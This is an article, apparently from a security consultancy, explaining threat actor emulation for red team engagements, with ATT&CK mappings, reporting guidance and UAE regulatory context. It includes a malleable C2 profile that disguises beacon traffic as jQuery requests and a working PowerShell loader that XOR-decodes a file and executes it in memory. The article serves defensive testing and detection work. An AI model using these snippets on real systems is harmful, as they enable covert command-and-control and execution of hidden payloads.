Key takeaways
- Threat actor emulation tests the specific techniques of a named adversary, making the results directly relevant to the client's actual threat landscape.
- A malleable C2 profile shapes every network indicator to match the actor's documented HTTP patterns, so a detection that fires proves coverage against the real threat, not against tool defaults.
- The report maps each gap to the specific actor indicator that went undetected, giving the SOC a precise list of what to tune rather than generic hardening notes.
- MITRE ATT&CK provides the structured reference for mapping actor techniques, but accuracy depends on the depth of available threat intelligence.
What threat actor emulation is, and why it differs from generic simulation
Generic adversary simulation proves that your environment can be breached. Threat actor emulation proves something more specific: that your security controls respond, or fail to respond, to the techniques of the actor your threat intelligence has identified as a credible threat. The distinction matters because two different actors rarely share the same tooling, delivery methods, or C2 infrastructure, and a detection built to catch one will often miss the other entirely.
In a threat actor emulation, the team selects a named actor whose behaviour is documented in threat intelligence reporting, maps that actor's known techniques onto the Unified Kill Chain, and executes them in sequence using tools and profiles shaped to produce the actor's known indicators. Nothing is invented. If the intelligence does not document a technique, it is not executed. The goal is to give the client's defenders a realistic rehearsal against a specific opponent, not a demonstration of what the team can do.
That framing is the foundation of the adversary simulation engagement, which runs this exercise end to end. The plan is reviewed with the client before activity begins, covering which techniques will be executed, which will be simulated procedurally, and what reaching the objective looks like. That agreement is what gives the final report its authority as a measurement rather than a demonstration of capability.
In
Profile selection
Actor chosen from threat intelligence reporting
Loader delivery
Spearphishing method matches actor's campaigns
Through
Malleable C2 shaping
Traffic indicators match actor's known patterns
Payload obfuscation
Encoding and loader technique drawn from intelligence
Out
Objective reached
Actor's documented target accessed or simulated
Technique sequence recorded
Every step mapped to ATT&CK and actor indicators
Building the threat profile from intelligence
Actor selection starts with the client's threat intelligence. The relevant question is which actors have targeted the client's sector, geography and technology stack, not which actor is most prominent in public reporting. An actor well-documented in MITRE ATT&CK's Enterprise matrix is a better candidate than one known from a single vendor report with limited technique coverage, because the emulation is only as accurate as the intelligence it is built on.
Once an actor is selected, its documented techniques are mapped against the Unified Kill Chain phases. Each technique gets an entry: the ATT&CK identifier, the actor's known implementation, the tool or method the team will use to reproduce it, and the indicators the execution is expected to generate. Gaps in the intelligence are recorded explicitly rather than filled with generic alternatives. A mapped gap is an honest finding; an invented technique contaminates the measurement.
The plan is shared with the client before any execution begins. The objective, defined in terms of what the documented actor is known to pursue, is agreed and recorded before activity starts. The guide to buying an adversary simulation covers what this agreement must contain. This pre-engagement step is what separates a threat actor emulation from an open-ended engagement: the question is set before the exercise runs, so the answer addresses that specific question.
| ATT&CK Technique | Actor-Documented Behaviour | Emulation Approach |
|---|---|---|
| T1566.001 Spearphishing Attachment | Macro-embedded Office document delivered by email | Document type and pretext matched to actor's documented campaigns |
| T1071.001 Web Protocols | HTTP beacon with actor-specific URI patterns and headers | Malleable C2 profile replicates documented HTTP indicators exactly |
| T1027 Obfuscated Files | XOR-encoded loader executed via trusted Windows binary | Obfuscation method and loader type matched to actor's toolset |
| T1090 Proxy | C2 routed through residential proxy infrastructure | Relay chain type matched to actor's known infrastructure preference |
| T1003 OS Credential Dumping | LSASS memory access for credential extraction | Executed with actor's documented tool and sub-technique |
Shaping command and control traffic with a malleable profile
Command and control traffic is the most visible part of an operator's footprint on the network. A C2 framework using default settings produces consistent beacon patterns, URI structures and header sequences that a tuned detection rule can identify within hours. A threat actor emulation cannot use default profiles, because the question being answered is not whether the SOC can spot generic C2 but whether it can spot the indicators this specific actor produces.
A malleable C2 profile controls every element of the HTTP transaction: the URI path, request and response headers, metadata encoding, sleep interval and jitter. A profile written to match a named actor copies that actor's documented HTTP indicators exactly, so an analyst inspecting the traffic sees the same patterns that appear in the threat intelligence report. MITRE ATT&CK technique T1071.001 classifies this behaviour; the malleable profile is what makes the traffic specific to one actor rather than to C2 tooling in general.
The profile is validated against the actor's known indicators before the engagement begins. Any indicator that does not appear in the intelligence, such as a URI path the operator chose for convenience, is removed before activity starts. If the SOC detects the C2 traffic, the detection must be attributable to the actor's real indicators. If it does not, the report records exactly which indicator was present and which rule was absent, giving the SOC a specific thing to tune.
set sleeptime "45000";
set jitter "15";
http-get {
set uri "/jquery-3.3.1.slim.min.js";
client {
header "Host" "cdn.example.net";
header "Accept" "text/javascript, application/javascript";
metadata {
base64url;
prepend "v=";
parameter "cb";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "max-age=0, no-cache";
output {
prepend "/*! jQuery v3.3.1 | (c) JS Foundation | jquery.org/license */";
base64url;
print;
}
}
}
Payload obfuscation and delivery matching the actor's footprint
Payload delivery follows the actor's documented method. If the actor is known to deliver via spearphishing with a macro-embedded document, the engagement delivers via spearphishing with a macro-embedded document. If the actor uses a dropper loaded through a trusted Windows binary, the engagement does the same. The goal is not to find the fastest path to execution but to follow the path the actor takes, so endpoint detection controls are tested against the actor's real delivery chain rather than against whatever the team finds most reliable.
Obfuscation matches the actor's known style. MITRE ATT&CK technique T1027 (Obfuscated Files or Information) covers the class; the specific implementation, whether XOR encoding, string splitting or reflective loading, is chosen based on what the intelligence documents for this actor. The article on software packing and static scanner evasion covers how packers shape a file's static appearance; in an emulation the obfuscation method is chosen for fidelity to the actor's tradecraft, not for maximum coverage against scanning tools.
Proxy chains are configured to route C2 traffic through the same kind of infrastructure the actor is known to prefer. MITRE ATT&CK technique T1090 (Proxy) documents the class. Residential proxies, compromised legitimate hosts and cloud-hosted relays are each associated with different actors, and using the wrong relay type produces an indicator the actor would not generate. That error corrupts the measurement: the SOC may respond correctly to something the actor would never produce.
$path = "$env:TEMP\update.bin"
$key = 0xAE
$bytes = [System.IO.File]::ReadAllBytes($path)
for ($i = 0; $i -lt $bytes.Length; $i++) {
$bytes[$i] = $bytes[$i] -bxor $key
}
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length)
$fn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
$mem, [System.Type]::GetType("System.Action")
)
$fn.Invoke()Reaching the documented objective and recording the technique sequence
The Out phase of the Unified Kill Chain is defined by what the actor is documented as pursuing, not by what the team could reach with its own tooling. If the actor targets financial data for exfiltration, the team simulates the exfiltration step after reaching the data. If the actor deploys ransomware after establishing persistence, the team establishes persistence and records the simulated deployment point without executing a destructive payload. The boundary between execution and simulation is agreed in the pre-engagement plan.
Every step from initial delivery to objective is recorded in the same terminology the intelligence uses: ATT&CK identifier, specific sub-technique, tool used, indicators generated and whether a detection fired. That record is what the adversary simulation planning article describes as the engagement's core output. The simulation is the measurement; the record is the result that the client's security team reads back against their detection coverage map.
Lateral movement follows the actor's documented technique rather than the most efficient route available to the team. If the actor is documented as using pass-the-hash after acquiring a local administrator token, that is the path taken. Techniques that are faster but not documented for this actor are excluded, because using them would test the defender's response to the team's tooling preference rather than to the actor's real tradecraft.
What the report shows and how the SOC uses it
The report from a threat actor emulation is structured around the engagement's original question: for each technique the intelligence said this actor uses, did a detection fire? A detection that fired, escalated correctly and triggered the right response is a confirmed control. A detection that did not fire is a gap, with a recommendation specific to the actor's indicators rather than a generic hardening note that could apply to any engagement.
Detection coverage in an adversary simulation covers what the SOC response map looks like in practice. The emulation report adds a layer specific to this exercise: for every gap, the team records which actor indicator was missed. That detail is what distinguishes a threat actor emulation report from a standard red team report. It tells the SOC what detection rule to write, against what indicator, to close the gap against this actor specifically rather than against C2 tooling in general.
The structured output also supports a purple team follow-on. Where a detection did not fire, the team and the client's defenders can tune the relevant rule against the actor's real indicators, then re-run the technique to confirm the fix. The red team service can run the full chain again once the gaps are closed, confirming that detection improvements hold end to end. A threat actor emulation run first gives any follow-on engagement a precise list of gaps to close rather than starting from scratch.
Threat actor emulation in UAE-regulated sectors
Banks regulated by CBUAE, government entities bound by DESC in Dubai, and healthcare providers under ADHICS in Abu Dhabi each face distinct threat actor landscapes. CBUAE's cybersecurity framework and the UAE Information Assurance Standard administered through TDRA establish a baseline for security testing. For organisations in sectors that threat intelligence associates with specific named actors, a threat actor emulation provides evidence that the testing programme reflects the actual threat rather than a generic capability baseline. A bank in Dubai whose intelligence names actors targeting Gulf financial institutions has reason to run a threat actor emulation rather than a generic red team exercise.
Abu Dhabi's government entities and critical infrastructure operators face similar requirements under the UAE IAS. For organisations in both emirates, the value of a threat actor emulation is that the report is scoped to the actors most relevant to their regulatory environment. A finding that an actor known to target financial institutions in the region can operate undetected is a finding a CBUAE review team can read and act on. Procurement teams in Abu Dhabi and Dubai increasingly ask for evidence that testing reflects the actual threat landscape. The UAE rules that require adversary simulation covers what each regime asks for in detail.
Frequently asked questions
What is threat actor emulation?
Threat actor emulation is an adversary simulation exercise built around the documented tradecraft of a specific named threat actor. Rather than using generic attack tooling, the team maps the actor's known techniques from intelligence reporting, shapes its C2 traffic to match the actor's indicators, and follows the actor's documented delivery and lateral movement methods. The result is a test of whether the client's defences would detect that specific adversary rather than a generic attacker.
How does threat actor emulation differ from a standard red team?
A standard red team selects techniques that give the highest probability of reaching the objective. Threat actor emulation selects techniques that match the documented behaviour of a specific actor, even when other techniques would be faster. The question changes from whether the environment can be breached to whether the environment would detect and respond to a named adversary. The resulting report is scoped to the actor's specific indicators rather than to general security findings.
What is a malleable C2 profile?
A malleable C2 profile is a configuration that controls how a command and control framework formats its network traffic. It allows the operator to set the URI structure, HTTP headers, metadata encoding, sleep intervals and staging behaviour so that the traffic matches the documented indicators of a specific threat actor. Without a malleable profile, C2 traffic reflects the tool's defaults rather than any real actor's behaviour, making the exercise a test of generic tooling rather than a test of actor-specific detection.
Which threat actors can be emulated?
Any actor whose techniques are documented in threat intelligence reporting is a candidate. MITRE ATT&CK's Enterprise matrix provides structured coverage for a range of tracked groups. Actors with limited documentation produce less accurate emulations because gaps in the intelligence must be recorded rather than filled. The selection is driven by which actors the client's threat intelligence identifies as credible and relevant, not by which are most prominent in public reporting.
How is the threat profile built for an adversary simulation?
The profile is built from threat intelligence reporting using MITRE ATT&CK as a structured reference. Each technique the actor is known to use is mapped to an ATT&CK identifier, the actor's known implementation, and the indicators the technique is expected to generate on the network and on the endpoint. Gaps are recorded explicitly. The profile is shared with the client before any execution begins so objectives and boundaries are agreed in advance.
What does the report from a threat actor emulation contain?
The report maps every executed technique to its ATT&CK identifier, the actor it was drawn from, the indicators it generated and whether a detection fired. For each gap, it records which specific indicator was present and absent from any detection rule. This structure is more prescriptive than a standard red team report because it is scoped to the actor's real indicators, giving the SOC a specific list of what to tune.
How does threat actor emulation connect to purple teaming?
Threat actor emulation identifies which of a specific actor's indicators are covered by existing detection rules and which are not. A purple team exercise uses that map to tune rules, write new ones and verify the fixes by re-running the technique. The emulation provides the input gap list; the purple team session closes those gaps. The two exercises are complementary: the emulation measures, and the purple team improves.
Does threat actor emulation apply to UAE-regulated organisations?
Yes. Organisations under CBUAE, DESC, NESA and ADHICS are subject to frameworks that require security testing proportionate to the threat landscape. For organisations in sectors associated with documented threat actors, a threat actor emulation provides evidence that testing reflects the actual threat, which is a stronger argument to a regulator's review team than a generic penetration test report that does not reference the client's real threat intelligence.
What is the difference between threat actor emulation and a vulnerability assessment?
A vulnerability assessment identifies security weaknesses in a system by scanning and testing its configuration. Threat actor emulation assumes a foothold already exists and measures whether the defences would detect a specific actor's behaviour during post-access activity. A vulnerability assessment asks what weaknesses can be found; a threat actor emulation asks whether the SOC would see a known actor moving through the environment using that actor's real tradecraft.
